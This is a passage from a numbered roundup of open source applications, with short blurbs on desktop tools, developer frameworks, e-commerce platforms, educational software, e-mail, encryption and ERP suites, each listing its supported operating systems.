This fast and lightweight app lets you leave yourself virtual sticky notes on your desktop. It also offers features like scheduling, audio notes, encryption, password protection, tabs, smilies, transparency and more. Operating System: Windows
244. Really Slick Screensavers
If you're looking for a screensaver that's a little bit out of the ordinary, check out Really Slick. It includes a dozen different colorful (and sometimes nausea-inducing) screensavers. Operating System: Windows
245. SharpEnviro
Formerly known as "SharpE," SharpEnviro makes the desktop highly configurable, including the option of having up to 20 different toolbars. It supports multiple monitors and is very easy to use. Operating System: Windows
246. Startup Manager
This app lets the user control which applications and processes start up when you turn on your system. It's particularly useful if you'd like to speed up the process or if you always open the same programs. Operating System: Windows
247. Sticker
Sticker is a Windows 7-compatible electronic post-it note app. Unlike some similar apps, it lets you put notes directly on the desktop as if they were icons. Operating System: Windows
248. topBlock
This screensaver's graphics aren't as impressive as some of the others on our list, but it's fun if you like Lego blocks. Operating System: Windows
249. Wikiquote Screensaver
If you prefer a screensaver that's a little more philosophical, check out this app. You type in a topic and press save, and it will pull up random Wikiquotes on the topic. Operating System: Windows
250. Wally
Like the Google Wallpaper app, Wally changes out the photo on your screen after a set period of time. But this app let's you pick photos from your own hard drive or from remote sources like Google, Flickr, Yahoo, Photobucket and many others. Operating System: Windows, Linux, OS X
251. Whorld
Whorld generates interesting geometric patterns that can be used for a screensaver or for VJing. It gives you a huge number of options and controls, and you can even extend them by using one of the downloadable patches or creating a patch of your own. Operating System: Windows
252. VirtuaWin
Most Linux/Unix windows managers make it easy to switch between desktops, but to accomplish the same thing on Windows, you usually have to log out and log back in as another user. This app lets you save up to nine different desktops and switch between them quickly. It's helpful if you're multi-tasking and need one set of apps for one project and other set for a different project. Operating System: Windows
253. WindowsPager
WindowsPager offers very similar functionality as VirtuaWin, with a different interface for switching between workspaces. Operating System: Windows

Open Source Apps: Desktop Publishing

254. MiKTeX
An update of TeX, MiKTeX is a typesetting program with a complete set of fonts, utilities, and macros. According to the original developer, it was "intended for the creation of beautiful books—and especially for books that contain a lot of mathematics." Operating System: Windows, Linux
255. Scribus
Suitable for professional designers, Scribus desktop publishing offers features like color separations, ICC spot color support and PDF creation. Despite the advanced features, there is plenty of help available, so it's also suitable for amateurs. Operating System: Windows, Linux, Unix, OS X
256. SiSU
After creating documents in the text editor of your choice, you can use SiSU (Structured information, serialized units) to publish them in the format of your choice and make them searchable. Supported formats include plain-text, HTML, XHTML, XML, ODF, LaTeX, and PDF. Operating System: Linux/Unix

Open Source Apps: Desktop Search

257. Beagle
If you don't know the name of the file you're looking for, Beagle can help you find it. It indexes and searches the text of your documents, emails, web history, IM/IRC conversations, contacts, calendar, and other files to find the keywords you're looking for. Operating System: Linux
258. DocFetcher
Instead of wasting time searching every file on your system, DocFetcher searches only your documents for the keywords you enter. It supports plain text, html, Microsoft Office, OpenOffice.org, AbiWord, pdf and several other types of files. Operating System: Windows, Linux
259. Pinot
Pinot combines both desktop search and Web search into a single app. It also allows advanced queries (probabilistic search, boolean filters, wildcards, date ranges, time and size) and supports Chinese, Japanese and Korean text searches. Operating System: Linux
230. Recoll
Recoll can search the text of most document types, including e-mails, attachments and compressed files. It supports a variety of query types, and it provides a preview of searched documents. Operating System: Linux
231. Tracker
Part of the Gnome desktop, Tracker combines traditional search by name and file location with more advanced search capabilities that let you look for document text or tags. If you choose, you can use it to add metadata tags to all of your files, which makes it easier to organize your files and find what you're looking for. Operating System: Linux

Open Source Apps: Developer Tools

232. Amdatu
Still in the very early stages of development, Amdatu offers a "rapid application development platform and runtime for open, service oriented and cloud-aware Web applications." It leverages several Apache Foundation tools and is built on Java. Operating System: OS Independent
233. Anjuta DevStudio
GNOME's IDE supports C and C++ development on Linux systems. It includes an application wizard, interactive debugger, source code editor, version control, GUI designer and more. Operating System: Linux
234. Appcelerator Titanium
Titanium helps create apps that work not only on the largest mobile platforms, but also on all of the major desktop platforms. It supports HTML, CSS, JavaScript, Ruby, and Python. Operating System: Windows, Linux, OS X, iOS, Android
235. ATPad
This Notepad replacement includes a number of features for developers, like a tabbed interface, line numbering, word wrapping, text coloring and more. It's won a number of awards. Operating System: Windows.
236. Cloud9 IDE
Launched in 2010, the Cloud9 IDE offers an online alternative to Eclipse for JavaScript development. It also supports HTML/CSS, Coffeescript, Ruby, PHP and other programming languages. The source code is available, and Cloud9 offers the IDE on a development-as-a-service basis, with a free subscription available for open source developers. Operating System: OS Independent
237. Code::Blocks
This cross-platform C++ IDE is highly extensible, making it easy to add the features you want. It includes built-in compiling and debugging capabilities, plus an easy-to-use interface. Operating System: Windows, Linux, OS X
238. Dart
First unveiled in October of 2011, Dart is Google's new programming language designed as an alternative to JavaScript. Currently, the company is seeking feedback on the language, which is still in the very early stages of development. Operating System: OS Independent
239. Dev-C++
Dev-C++ is a C/C++ IDE with support for all GCC-based compilers. Key features include integrated debugging, project management, customizable syntax editor, code completion and others. Operating System: Windows
240. Eclipse
In addition to the well-known Java IDE, the Eclipse site offers a number of other development tools and educational materials. You'll also find plug-ins that extend its capabilities to support C, C++, Perl, PHP, Python, Ruby, and other programming languages. Operating System: OS Independent
241. Evolutility
With Evolutility, users can build custom Web apps in just minutes, without writing any C#, HTML, CSS, Javascript, or SQL. If you have a database, this app can put it on the Web quickly and easily. Operating System: Windows.
242. Game Editor
If you're not really a programmer, but you think you have an idea for a game that might be the next big hit on the iPhone, this tool might help. It's a cross-platform game creator, and the site offers advice for those just starting out. Operating System: Windows, Linux, OS X, iOS, others.
243. FLOW3
Very recently released in version 1.0, FLOW3 is a PHP development framework from the creators of the TYPO3 content management system. It's designed to support the principles of Agile development, Domain Driven Design, Extreme Programming and Test-Driven Development. Operating System: Windows, Linux
244. GCC
The "GNU Compiler Collection" offers front ends and libraries for C, C++, Objective-C, Fortran, Java, and Ada. It's probably the most widely used compiler for code that will run on multiple operating systems. Operating System: OS Independent
245. Gestalt
Gestalt offers a developers a way to write Ruby and Python scripts in in (X)HTML pages. It's SEO-friendly and lets you use some advanced HTML5 technologies on your Web apps. Operating System: OS Independent
246. Glade
Glade lets developers quickly create interfaces for the GTK+ toolkit and the GNOME desktop environment. It saves those interfaces in XML so they can be accessed by applications written in a wide variety of programming languages. Operating System: Windows, Linux, OS X
247. Hibernate
Part of the JBoss Enterprise Middleware Suite, Hibernate provides object/relational persistence for Java and .NET. It also includes the ability to write queries in SQL or the Hibernate version of SQL (HQL). Operating System: OS Independent
248. Intel Threaded Building Blocks
This library helps C++ developers take advantage of the benefits of multi-core processing systems, even if they don't know a lot about threading. It's available in both a commercial and an open source version. Operating System: Windows, Linux, OS X
249. IPFaces
This tool aims to make it faster, easier and cheaper for experienced ASP.Net, Java or PHP developers to create native form-oriented apps. Commercial support, training and other services are available. Operating System: OS Independent for the developer; creates apps for iOS and BlackBerry
250. Javadoc
Javadoc uses the comments you embed in your Java code to create an HTML documentation file. By default it describes the public and protected classes, nested classes (but not anonymous inner classes), interfaces, constructors, methods and fields. It's included in Oracle's Java developer kits. Operating System: Windows, Linux, OS X
251. Jo
This HTML5 mobile app framework creates both Web and native apps for iOS, Android, webOS, BlackBerry and Chrome OS. It relies heavily on CSS3, and it works with PhoneGap. Operating System: iOS, Android, webOS, BlackBerry, Chrome OS
252. jQuery
jQuery calls itself "the write less do more JavaScript library," and that's a pretty apt description. It simplifies HTML document traversing, event handling, animating, and Ajax interactions for rapid web development. Operating System: OS Independent
253. JQTouch
This jQuery plugin enables mobile Web development for the iPhone and Android devices. It's easy to install, customizable and offers theme support. Operating System: iOS, Android
254. KDevelop
KDE's integrated development environment (IDE) includes a source code editor, project managers, GUI designer, front ends for the GNU Compiler Collection and GNU Debugger, and more. It offers code completion for C/C++, as well as some support for Perl, Python, PHP, Java, Fortran, Ruby, Ada, Pascal, SQL, and Bash. Operating System: Windows, Linux, OS X
255. Kurogo
A fork of the MIT Mobile Framework, Kurogo is a new mobile development platform with a focus on "clean integration, exceptional user experience and deep customization." It comes in two versions: one for mobile Web apps and one for iOS. Operating System: OS Independent
256. Lazarus Lazarus offers a complete and easy-to-use programming environment for FreePascal. Operating System: Windows, Linux, OS X, FreeBSD
257. MinGW
"Minimalist GNU for Windows" ports the GCC compilers and GNU Binutils for Windows. It allows you to use GNU tools to build Windows apps from Windows or Linux systems. Operating System: Windows, Linux
258. MonoDevelop
Designed for .NET developers, this IDE from Novell makes it easier to create C# applications for multiple platforms. It also supports Java, Boo, Visual Basic.NET, Oxygene, CIL, Python, Vala, C and C++. Operating System: Windows, Linux, OS X
259 MoSync SDK
With MoSync, you can build cross-platform mobile apps with familiar tools—C or C++ and the Eclipse IDE. Commercial support and training are also available. Operating System: Android, iOS, Windows Mobile, Symbian
260. MUSCLE
MUSCLE stands for "Multi-User Server Client Linking Environment." In a nutshell, it makes it possible for cross-platform applications to communicate with each other over the network. Operating System: Windows, Linux, OS X, BSD
261. NetBeans
Although known as a Java tool, NetBeans also supports JavaFX, PHP, JavaScript, Ruby, Groovy, Grails and C/C++. Its goal is to help users quickly develop web, enterprise, desktop, and mobile applications. Operating System: Windows, Linux, OS X
262. Nette Framework
Nette Framework promises developers "you will write less, have cleaner code and your work will bring you joy." It's a PHP-based framework for writing Web applications, and it supports AJAX, SEO, DRY, KISS, MVC and code reusability. Operating System: Windows, Linux
263. NuGet
This extension for Microsoft's Visual Studio makes it easy to install and update open source libraries for the .NET platform. And the NuGet Gallery makies it easy to find those open source libraries. Operating System: Windows
264. Open64
Formerly known as Pro64, Open64 was created by Intel and the Chinese Academy of Sciences. It includes compilers for C, C++ and Fortran90/95 compilers for the IA-64 Linux ABI and API standards. Operating System: Linux
265. Open BlueDragon
If you'd like to create Web apps using the ColdFusion Markup Language (CFML), but don't want to spend thousands of dollars on your development tool, Open BlueDragon gives you an open source option. It describes itself as "the world's first truly open source GPL Java and Google App Engine CFML runtime." Operating System: Windows, Linux
266. OWASP
The “Open Web Application Security Project” includes a number of documents, applications, and tools for developers concerned about app security. Key projects include WebGoat, ESAPI Security Library for Java, and numerous standards and guides. Operating System: OS Independent
267. PhoneGap
PhoneGap claims to be the "only open source mobile framework that supports six platforms." It allows you to use HTML5 and JavaScript to create truly cross-platform apps that are able to access the native features of the various smartphone platforms. Operating System: requires OS X for the developer; creates apps for iOS, Android, BlackBerry WebOS, Symbian, Bada
268. php ClamAV
This package allows you to incorporate the ClamAV engine into your PHP5 scripts. Operating system: Linux
269. phpDocumentor
Like Javadoc, phpDocumentor turns code comments into readable documentation for users, only in this case for the PHP language instead of for Java. It's very fast and includes a variety of templates. Operating System: OS Independent
270. phpMyAdmin
Written in PHP, this utility handles the administration of MySQL over the Web. phpMyAdmin performs many database administration tasks like running SQL statements, adding and dropping databases, and adding, editing or deleting tables or fields. Operating System: OS Independent
271. Prototype
This JavaScript framework tries to make it easier to create dynamic Web apps. It offers a class-style OO framework, easy DOM manipulation, and what it humbly calls "the nicest Ajax library around." Operating System: OS Independent
272. Restkit
This Objective-C framework "aims to make interacting with RESTful web services simple, fast and fun." It uses an API and a object mapping system to help reduce the amount of code you need to write when creating apps for the iPhone or iPad. Operating System: iOS
273. Rhodes
Designed for enterprise application developers, Rhodes is a Ruby-based framework that enables developers to write applications once and turn them into native apps for each of the various platforms. Commercial support is available and the company behind the project (Rhomobile) offers a number of other related enterprise mobility solutions. Operating System: Windows, Linux, OS X for the developer; creates apps for iPhone, Android, Windows Mobile, BlackBerry, Symbian, Windows Phone 7
274. Ruby on Rails
Designed for rapid application development using Agile methodologies, Ruby on Rails offers "Web development that doesn't hurt." It's used by the developers behind thousands of apps, including Twitter, Basecamp, Github and Groupon. Operating System: Windows, Linux, OS X
275. Sencha Touch
This mobile JavaScript framework assists in the development of mobile Web apps that look and feel like native apps for iPhone, Android or BlackBerry. Note that it only supports WebKit browsers like Chrome and Safari. Operating System: OS Independent
276. SharpDevelop
Like MonoDevelop, SharpDevelop (or #develop) was created as an alternative to Visual Studio for Microsoft's .NET platform. It supports C#, VB.NET and Boo. Operating System: Windows
277. soapUI
With more than 2 million downloads, soapUI claims to be the most popular Web services and SOA testing tool in the world. It performs functional testing of SOAP, REST, HTTP, and JMS services, as well as databases. Operating System: OS Independent
278. Sonar
In its first year of release, this Web-based platform for managing code quality quickly racked up 30,000 downloads. Now in its second year, Sonar gets 4,000 downloads per month and is notable for its ease of use and excellent reporting tools. Operating System: OS Independent.
279. Ultimate++
This rapid application development framework includes both a C++ library and an IDE designed to handle large applications. Its emphasis is on speeding up the development process and includes "BLITZ-build" technology that makes C++ rebuilds up to four times faster. Operating System: Windows, Linux
280. Wakanda
According to its website, Wakanda is "an open source platform for building business Web applications with nothing but JavaScript." It's still in preview status, but is already getting kudos from end users for its ability to speed up and simplify the business application development process. Operating System: Windows, Linux, OS X
281. wxWidgets
This cross-platform development toolkit enables programmers to write applications in C++, Python, Perl, and C#/.NET that work on several different operating systems. In addition to an easy-to-use GUI, wxWidgets offers online help, streams, clipboard and drag and drop, multithreading, database support, HTML viewing and printing, and many other features. Operating System: Windows, Linux/Unix, OS X
282. XML Copy Editor
XML Copy Editor doesn't have as many features as some comparable apps, but it is very fast and lightweight. It's simplicity also makes it easier to use than some of the more feature-heavy applications. Operating System: Windows, Linux
283. Zend
Zend offers both a Web application server (Zend Server) and an IDE (ZendStudio) for PHP developers. Both are available in free, open source or paid versions, and the company also offers training and some additional commercial products and services. Operating System: Windows, Linux, OS X
284. ZK
ZK claims to be the "leading enterprise Java Web framework," and it supports the development of both Web and mobile apps. It's been downloaded more than 1.5 million times. Operating System: OS Independent

Open Source Apps: Dictionary/Translation Tools

285. GlobalSight
GlobalSight is a translation management system designed to streamline the process of localizing content for multi-national organizations. It's available on an SaaS basis, with prices that vary depending on the number of translation vendors you need to track. Operating System: Windows, Linux.

Open Source Apps: Diet/Exercise

286. iDiet
Trying to decide which diet to try? iDiet makes it easy to compare a lot of different diets, including Atkins, Summer Fresh, The Zone, Body for Life, Jenny Craig, based on nutritional guidelines. Once you pick a diet, the Java-based app helps you set goals and track your progress. Operating System: OS Independent
287. SportsTracker
No matter what sport you participate in (running, cycling, lifting weights, tennis, etc.), SportsTracker can help you track your training plan, type of activity, body weight, time spent exercising, etc. It also integrates with several brands of heart rate monitors, so you can track your heart rate data as well. Operating System: Windows, Linux, OS X

Open Source Apps: Distributed Computing

288. Hadoop
Hadoop offers a variety of tools for working with large amounts of data in distributed computing environments. Notable users include Yahoo, Facebook, Google, Hulu, IBM, LinkedIN, The New York Times and others. Operating System: OS Independent

Open Source Apps: Document Management Systems (DMS)

289. Epiware
Athough it primarily offers Web-based document management, Epiware also includes project management capabilities, as well as group calendaring, wikis and a newsfeed. Commercial support is also available. Operating System: Windows, Linux.
290. Inforama
With Inforama, you can create document templates, import data from databases and spreadsheets, create PDFs, and automatically store documents in a central repository. It's available in a Community Edition (for a single machine) or an Enterprise Edition, both of which are free and open source. Operating System: OS Independent.
291. KnowledgeTree
This Web-based collaboration and file sharing tool offers features like search and preview, workflow and document alerts, Microsoft Office integration, document auditing, electronic signatures, scanning and capture, and more. It's available in five different cloud-based options, as well as the free open-source community edition. Operating System: Windows, Linux.
292. LogicalDOC
LogicalDOC aims to make it easy for workers to collaborate on and share all types of documents. Features include version control, a task manager, Outlook integration, and smartphone support. Operating System: OS Independent.
293. OpenDocMan
Like many others in this category, OpenDocMan includes automated workflow capabilities, as well as search, security, file expiration, revision history and more. You can download and host it for free or purchase it on an SaaS basis. Operating System: OS Independent.
294. OpenKM
This document management system includes a JBPM workflow capability to make sure your files get routed for the appropriate sign-offs and approvals. It offers advanced search and security capabilities, and professional-level support is available for a fee. Operating System: OS Independent.

Open Source Apps: Earth Science

295. Seismic Toolkit (STK)
This app makes it easier for scientists and researchers to analyze data from seismic events. It includes tools for filtering and plotting data, evolutive polarization, and more. Operating System: Windows, Linux, OS X.

Open Source Apps: eBook Reader

296. FBReader
Want to read an e-book, but don't have a Nook, Kindle or iPad? This ebook reader supports multiple file formats and works on netbooks and Linux-based PDAs, as well as desktops. Operating System: Linux, Windows, BSD

Open Source Apps: E-Commerce

297. Broadleaf Commerce
Java-based Broadleaf claims to be "the most cost-effective enterprise e-commerce solution available." While Broadleaf does not offer commercial support directly, consulting firm Credera does offer support and related services. Operating System: Windows, Linux, OS X
298. dashCommerce
With tens of thousands of downloads every year, dashCommerce is a very popular e-commerce engine. It offers a drop-in provider model for payment, shipping, tax and coupon providers; unlimited products; single-page checkout and more. Operating System: Windows
299. Digistore
Based on osCommerce (see below), Digistore offers a full list of e-commerce features and requires no coding knowledge to set up and manage. Customization and consulting are available from the Digistore team, and the site also includes links to third-party vendors who offer hosted solutions. Operating System: Windows, Linux, OS X
300. Eclime
Based on osCommerce, Eclime offers fast performance and a template-based design that's difficult to mess up. It also offers SEO capabilities, media playlist support, wishlists and more. Operating System: Windows, Linux, OS X
301. eShop
This WordPress plug-in offers good, basic e-commerce features, but lacks some of the more advanced features in other e-commerce solutions. It does integrate with most payment processing systems. Operating System: OS Independent
302. Fishop.NET
This ASP.Net-based package offers a "no frills" solution that is easy to install and highly customizable. It's also available on an SaaS basis (with prices in Euros). Operating System: Windows
303. Free Simple Shop
As the name implies, this project offers a simple shopping cart engine that can be incorporated into more complex sites. It's based on PHP and MySQL, and it integrates with Google Analytics. Other features include an inventory control system, support ticket system, automatic payment notifications, search-friendly URLs and more. Operating System: Windows, Linux, OS X
304. Interchange
Interchange has been around since 1995, and it supports a wide range of uses, including sales, content management, customer service, reporting and analysis, personalization, B2B, parts re-ordering, auctions, supply chain management, project management, online collaboration and even an MP3 jukebox. Professional support is available from a variety of third-party partners. Operating system: Linux, OS X
305. JadaSite
Java-based JadaSite offers enterprise-class e-commerce features like BIRT reporting, product import/export, AJAX-based components, a WYSISYG editor, multi-currency, multiple language support and more. Paid support packages are not available, but JadaSite does offer consulting services for installation, customization, upgrades, etc. Operating System: OS Independent
306. JAllInOne eCommerce
This eCommerce platform is designed to integrate with the JALLInOne ERP/CRM suite. Key features include fast search, catalog browsing, support for promotions and more. Operating System: Windows, Linux, OS X
307. Jigoshop
Another plug-in for WordPress, Jigoshop boasts lightweight code, advanced reporting and "out-of-the box awesomeness." Paid support is available. Operating System: OS Independent
308. Magento
Acquired by eBay earlier this year, Magento boasts more than 100,000 users, including OfficeMax, Harbor Freight Tools, K-Swiss and The North Face. It's available in three different editions—free community and paid professional and enterprise—as well as a hosted SMB solution called Magento Go. Operating System: Windows, Linux, OS X
309. Modern Merchant
Describing itself as "smart and simple," Modern Merchant offers a no-frills, easy-to-use e-commerce shopping cart. It's easy to install and extensible with a variety of plug-ins. Operating System: Linux
310. nopCommerce
One of the few .NET-based open source e-commerce options, nopCommerce is highly customizable with a pluggable architecture. It was designed to be search-engine-friendly and gets high marks for usability. Operating System: Windows
311. OpenCart
Nominated for a 2011 Packt Publishing award, OpenCart offers a long list of features and user-friendly operation. Commercial support is available from a variety of international third-party partners. Operating system: Windows, Linux, OS X
312. Order Portal
Aimed at manufacturers, distributors and rental companies, Order Portal is best for established companies that are looking to add an online presence. It also integrates with a larger Web Business Suite available from the same company. Operating System: Linux
313. osCMax
Another osCommerce fork (see below), osCMax aims to be easy enough for small startups and advanced enough for larger operations. It offers unlimited products and categories, vouchers and coupons, Web-based administration, support for multiple payment processors, spreadsheet-based data entry and more. Operating System: Windows, Linux
314. osCommerce
More than a decade old, osCommerce powers nearly 13,000 online shops. Highly customizable, it offers more than 6,700 free add-ons to extend its capabilities. Operating System: Windows, Linux, OS X
315. Oxid eShop
This flexible e-commerce solution offers marketing integration, search engine optimization, easy admin management, an integrated CMS, couponing, reviews, ratings and more. In addition to the community version, it also comes in paid professional and enterprise versions. Operating System: Windows, Linux, OS X
316. Plici
This French project offers a "powerful and extensible" e-commerce solution. Check out the website for a helpful demo of Plici in action. Be warned that much of the documentation is in French, but English translations are available. Operating System: Windows, Linux
317. PrestaShop
Winner of the 2010 Packt Best Open-Source E-Commerce Application Award, PrestaShop runs more than 100,000 e-commerce shops worldwide. Commercial support, training, customization and other services are available through the site. Operating System: Windows, Linux, OS X
26. Satchmo
Django-based Satchmo calls itself "the webshop for perfectionists with deadlines." The site offers links to more than 100 stores created with the software, so you can see it in action for yourself. Operating System: Linux, OS X
318. Self Commerce
A German project, Self Commerce is based on xt:Commerce (see above) and the Smarty template engine. Much of the website documentation is in German, but English versions of the software are available. Operating System: Windows, Linux, OS X
319. SimpleCart (js)
This very lightweight (under 20kb) JavaScript-based shopping cart offers very fast setup and doesn't require a separate database. However, in order to use it, you will need to know HTML. Operating System: OS Independent
320. Spree
This newer e-commerce platform calls itself "the world's most flexible." In addition to the free download, it's also available as a Rackspace-powered SaaS solution, and the site also offers discounts and easy sign-up for payment processing. Operating System: OS Independent
321. Tomato Cart
This fork of osCommerce (see below) includes unlimited product categories, a review and ratings system, search box with auto-completion, product image zoom, 26 built-in payment methods, one-page checkout and more. Hosting with support is available from several third-party partners. Operating System: Windows, Linux
322. Ubercart
Ubercart is an e-commerce add-on for the Drupal content management system. It offers a configurable product catalog, single page checkout, anonymous checkout, an integrated payment system and more. Operating System: Windows, Linux, OS X
333. VirtueMart
This add-on for the Joomla CMS offers advanced features like encryption, flexible tax models, shipping address management, multiple currencies and languages and more. The site has a demo and a number of links to live shops that use its shopping cart engine. Operating System: Winodws, Linux, OS X
334. WordPress eCommerce Plug-In
Downloaded more than 1.3 million times, WordPress's eCommerce plug-in is a tried and true way to add e-commerce capabilities to your blog. Support, additional themes and other features and services are available for a fee. Operating System: OS Independent
335. X-Cart
Downloaded more than 400,000 times, X-Cart is 100% PCI-DSS compatible, SEO-friendly, and it supports many payment processers and shipping carriers. In addition to the free community version, it also comes in paid Pro and Gold editions, with additional modules and services available for sale as well. Operating System: Windows, Linux, OS X
336. xt:Commerce
Smarty-based xt:Commerce is a mature, German e-commerce solution with an English version available. In addition to the free community version, it also comes in premium supported versions with prices in euros. Operating System: Windows, Linux, OS X
337. Zen Cart
Designed by "a group of like-minded shop owners, programmers, designers, and consultants," Zen Cart puts the emphasis on ease of use. Key features include a newsletter manager, support for coupons and gift certificates, XHTML templates, multiple payment and shipping methods and more. Operating System: OS Independent
338. ZenMagick
This fork of Zen Cart (see below) offers features like unlimited products and categories, multi-currency and multi-language support, extensibility and simple PHP-based templates. Commercial support is available through Mixed Matter. Operating System: OS Independent
339. Zeuscart
This open source shopping cart boasts a rich interface, good usability, comparison-driven shopping, SEO-friendly URLs, gift cards, coupons and more. Paid support services, including installation and upgrade help, are available. Operating System: Windows, Linux

Open Source Apps: Educational Testing

340. Safe Exam Browser
If you're worried about your students cheating during a test, this app locks down the browser. While it's activated, it runs in fullscreen mode and prevents students from access other apps, the Internet, shortcuts, etc. Operating System: Windows
341. iTest
With iTest, teachers can easily give students different versions of the same test because all questions can be drawn at random from a database. The website includes a large library of screenshots that show exactly how the software works. Operating System: Windows, Linux, OS X.
342. TCExam
Claiming to be "the most commonly used free CBA software in the world," this Web-based testing program greatly simplifies the process of creating, administering and grading tests. It's free for non-commercial use, or you can purchase a commercial license that includes support. Operating System: OS Independent

Open Source Apps: Elementary Education

343. ChildsPlay
For pre-school to kindergarten aged children, ChildsPlay includes 14 simple games, most of which teach numbers, letters, etc. It also includes some "just for fun" games like versions of Pacman and Pong. Operating System: Windows, Linux, OS X
344. GCompris
Designed for children up to age 10, GCompris includes 100 separate games and educational programs. For example, it includes geography, math, reading, and science games, as well as chess, memory, connect 4 and Sudoku. Operating System: Windows, Linux
345. GPaint
For older children, GPaint offers a step up that is easier to use than professional drawing programs without being too childish. It's part of the Gnu desktop. Operating System: Linux
346. KLettres
Because you're never too young for open source, KLettres teaches preschoolers to identify letters and their sounds. It also includes a "grown-ups" mode that aims to teach adults the basic building blocks of 25 different languages. (Note that in order to use KLettres on Windows, you'll have to download KDE for Windows.) Operating System: Windows, Linux
347. Little Wizard
If you’re the kind of parent who believes children are never too young to learn how to code, check out this development environment for the grade-school crowd. Using only the mouse, Little Wizard users learn about programming concepts like variables, expressions, loops, conditions, and logical blocks. Operating System: Windows
348. TuxMath
In this game, players solve arithmetic problems in order to prevent meteors from smashing Tux the penguin in his igloo. It offers a variety of types of problems for students with different skill levels. Operating System: Windows, Linux, OS X.
349. Tux Paint
Another app for elementary and preschool students, Tux Paint is a kid-friendly drawing program. Features include a variety of drawing tools, fun stamps and silly sound effects. Operating System: Windows, Linux, OS X

Open Source Apps: E-mail

350. Evolution
Often called "the Outlook of Linux," Evolution offers e-mail, calendar and other capabilities from an interface that looks a lot like the Microsoft product. Other notable features include built-in spam filtering, advanced search capabilities, encryption support, and iCalendar support. Operating System: Linux
351. Thunderbird with Lightning
Made by Mozilla, the organization behind Firefox, Thunderbird is a tabbed, searchable e-mail client with an emphasis on customization capabilities. If you want an integrated calendar, you'll also need to download the Lightning add-on. Operating System: Windows, Linux, OS X
352. Zmail
Zmail describes itself as a "fake e-mail program" that allows you to send e-mail from anyone to anyone. It's useful for testing mail servers or for sending e-mail without using your regular account. Operating System: OS Independent

Open Source Apps: E-mail Marketing

353. OpenEMM
OpenEMM boasts that it offers 95 percent of the features of commercial e-mail marketing software, as well as some features the commercial products don't have. A hosted version is available through Agnitas. Operating System: Windows, Linux.
354. phpList
The "world's most popular open source email campaign manager" has launched a beta of its new hosted service. For now, users can send up to 300 messages per month (50 per day) for free through the hosted service. The full-featured paid version is slated to launch before the end of the year. Operating System: OS Independent.

Open Source Apps: Encryption

355. APG
Short for "Android Privacy Guard," APG ports the OpenPGP encryption software for Android devices. Use it to encrypt, decrypt and sign files and e-mail. Operating System: Android
366. AxCrypt
Used by more than 2.2 million people, AxCrypt calls itself the "leading open source file encryption software for Windows." It integrates seamlessly into the Windows File Explorer—just right-click to encrypt a file and protect it with a password, or double-click to decrypt. Operating System: Windows
377. Crypt
This encryption tool is extremely lightweight (44KB) and fast, and you don't have to install it to use it. However, that speed and light weight is due to the fact that it doesn't have a GUI, so you'll need to be comfortable working from the command line ot use it. Operating System: Windows
378. FreeOTFE
Short for "free on the fly encryption," this tool creates encrypted virtual disks on your hard drive. It can run from a thumb drive, and it supports multiple hash and encryption algorithms. Operating System: Windows
379. Gnu Privacy Guard
GnuPG (aka GPG) allows Linux users to sign and encrypt their data or digital communications. This is a command line tool, but several front ends (including some we've featured on this list) are available. Operating System: Linux
380. GPGTools
This project ports GPG for Mac users. Note that not all of the features will work with OS X Lion yet. Operating System: OS X
381. Gpg4win
As you can tell by the name, this version of GPG encrypts files and e-mail on Windows systems. This version is a little bit easier for the less technically inclined to use than some of the others. Operating System: Windows
382. LUKS/cryptsetup
"Linux Unified Key Setup" or "LUKS" provides a standard format for hard disk encryption that works on all Linux distributions. The cryptsetup project makes LUKS usable on the desktop. Operating System: Linux
383. MailCrypt
This app applies PGP or GnuPGP encryption to your e-mail and Internet usage. If you use Windows NT, be sure to read the warning note on the Web site. Operating System: OS Independent
384. MCrypt
This replacement for the Unix crypt allows developers to add a wide range of encryption functions to their code, even if they don't know a lot about cryptography. The Web site contains a list of supported algorithms that are included in the Libmcrypt library. Operating System: Windows, Linux, Unix
385. NeoCrypt
Much easier to use, NeoCrypt offers right-click integration with Windows Explorer. It supports 10 different encryption algorithms, including AES and BlowFish, and it offers batch encryption capabilities. Operating System: Windows
386. Open Signature
This digital signature project supports all Open SC cards and aims to be the first single app that can be used with cards from multiple countries. Open Signature originally focused on cards used in Italy but has branched out. Operating System: Windows, Linux, Unix
387. SecureFolders
As you might guess from the name, this app lets you secure your folders. It gives you the option of hiding, locking, and/or encrypting folders to keep them safe from prying eyes. Operating System: Windows, Linux.
388. Steghide
If you really want to feel like a spy, you can use Steghide to conceal hidden messages in audio or text files. It works with JPEG, BMP, WAV and AU files. Operating System: OS Independent
389. TrueCrypt
Downloaded nearly twenty million times, this popular encryption tool can protect an entire drive or an entire partition of a drive. And its parallelization and pipelining techniques mean you won't notice any performance delays on your encrypted drive(s). Operating System: Windows

Open Source Apps: Enterprise Resource Planning (ERP)

390. Apache OFBiz
In addition to e-commerce and ERP functionality, the Apache Open for Business Suite includes CRM, supply chain management, enterprise asset management, point-of-sale and other capabilities. It offers small businesses advanced e-commerce features along with excellent flexibility. Operating System: OS Independent
391. EdgeERP
This fork of WebERP (see below) offers flexibility and the ability to integrate with many other types of software. Small businesses can use it to manage sales quotes, orders, invoicing, receivables, inventory, purchases, payables, banking, and general ledger accounting. Operating System: OS Independent
392. ERP5
In addition to ERP functionality, this app adds CRM, MRP, SCM, accounting, HR and PDM capabilities. It comes in a version for mobile phones, and it also available in commercially supported and SaaS versions. Operating System: Linux
393. Neogia
This French ERP suite includes B2B and B2C e-commerce capabilities. It's designed for small to mid-size companies. Operating System: Windows, Linux
394.Openbravo
With more than 2 million downloads, Openbravo boasts that it is the "world’s leading Web-based open source ERP solution." In addition to the free community version, it also comes in paid basic and professional editions that can be deployed on-site or in the cloud. Operating System: OS Independent
395. OpenERP
This full-featured app includes modules for CRM, accounting, point of sale, project management, warehouse management, human resources, purchasing, manufacturing, marketing, invoicing and an application builder. It's available in a free community edition, a paid enterprise edition for on-site deployment, or a subscription-based online edition. Operating System: Windows, Linux
396. ]project-open[
Used by more than 1,000 companies around the world, project-open (or "po") combines ERP and project management functionality. The core modules are free, but additional modules and support require a fee. Operating System: Windows, Linux
397. Postbooks/xTuple ERP
xTuple's ERP suite includes accounting, sales, CRM, purchasing, product definition, inventory and distribution, light manufacturing and reporting capabilities. The Postbooks edition is available with either an open source or a commercial license, and the Standard, Project, Manufacturing or Enterprise editions are available only with a commercial license. It's also available in the cloud, and information about other related services is also on the website. Operating System: Windows, Linux, Unix, OS X
398. SQL-Ledger
Another Web-based application, SQL-Ledger features double-entry accounting and ERP features and, as you might guess, stores data in a SQL database server. Paid support is available at a variety of price points. Operating System: Windows, Linux, OS X
399. webERP
